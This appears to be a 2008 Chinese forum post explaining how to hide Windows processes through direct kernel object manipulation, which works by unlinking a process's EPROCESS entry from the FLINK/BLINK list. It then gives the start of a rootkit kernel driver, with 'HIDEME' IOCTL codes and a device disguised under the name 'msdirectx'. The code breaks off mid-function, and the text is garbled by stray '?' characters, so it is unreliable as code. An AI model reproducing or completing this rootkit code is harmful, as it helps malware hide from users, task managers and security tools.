直接修改内核对象隐藏进程.doc

标 题:?【原创】直接修改内核对象隐藏进程作 者:?guolijie时 间:?2008-05-12,10:13:16链 接:?/showthread.php?t=64728Windows?NT/2000/XP/2003操作系统具有描述了进程的可执行对象。Taskmgr.exe列出机器上运行的进程。ZwQuerySystemInformation?也使用这?些?对象列出运行的进程，修改这?些?对象，可以隐藏进程。??????通过遍历?在每?个进程的EPROCESS结构中引用的一个双向链表，EPROCESS结构包含一个具有指针成员FLINK和BLINK的lLIST_ENTRY结构。这两个指针分别指向当前进程描述符的前方和后方进程，通过修改这?两个指针可以隐藏指定进程。??????本程序通过用户空间程序获的进程ID，EPROCESS块?中FLINK和?PID的偏移量?，传送给驱动程序，驱动程序修改链表隐藏进程。而通过PsGetCurrentProcess可以得到当前进程的指针，顺藤摸瓜就可找到要隐藏的进程。以下是代码。驱动程序#include?ntddk.h#include?stdio.h#include?stdlib.htypedef?BOOLEAN?BOOL;typedef?unsigned?long?DWORD;typedef?DWORD?*?PDWORD;#define?FILE_DEVICE_ROOTKIT??????0x00002a7b#define?IOCTL_ROOTKIT_INIT????????????(ULONG)?CTL_CODE(FILE_DEVICE_ROOTKIT,?0x01,?METHOD_BUFFERED,?FILE_WRITE_ACCESS)#define?IOCTL_ROOTKIT_HIDEME??????????(ULONG)?CTL_CODE(FILE_DEVICE_ROOTKIT,?0x02,?METHOD_BUFFERED,?FILE_WRITE_ACCESS)int?FLINKOFFSET;???int?PIDOFFSET;?PDEVICE_OBJECT?g_RootkitDevice;?const?WCHAR?deviceLinkBuffer[]??=?L\\DosDevices\\msdirectx;const?WCHAR?deviceNameBuffer[]??=?L\\Device\\msdirectx;#define???DebugPrint????DbgPrint???DWORD?FindProcessEPROC(int);//遍历链表寻找要隐藏的进程的函数NTSTATUS?RootkitDispatch(IN?PDEVICE_OBJECT,?IN?PIRP);NTSTATUS?RootkitUnload(IN?PDRIVER_OBJECT);NTSTATUS?RootkitDeviceControl(IN?PFILE_OBJECT,?IN?BOOLEAN,?IN?PVOID,???????????????IN?ULONG,?OUT?PVOID,?IN?ULONG,?IN?ULONG,???????????????OUT?PIO_STATUS_BLOCK,?IN?PDEVICE_OBJECT??????????????);NTSTATUS?DriverEntry(???????????IN?PDRIVER_OBJECT??DriverObject,???????????IN?PUNICODE_STRING?RegistryPath??????????){??????NTSTATUS????????????????ntStatus;????UNICODE_STRING??????????deviceNameUnicodeString;????UNICODE_STRING??????????deviceLinkUnicodeString;????????????RtlInitUnicodeString?(deviceNameUnicodeString,??????????????????????????deviceNameBuffer?);????RtlInitUnicodeString?(deviceLinkUnicodeString,??????????????????????????deviceLinkBuffer?);????ntStatus?=?IoCreateDevice?(?DriverObject,????????????????????????????????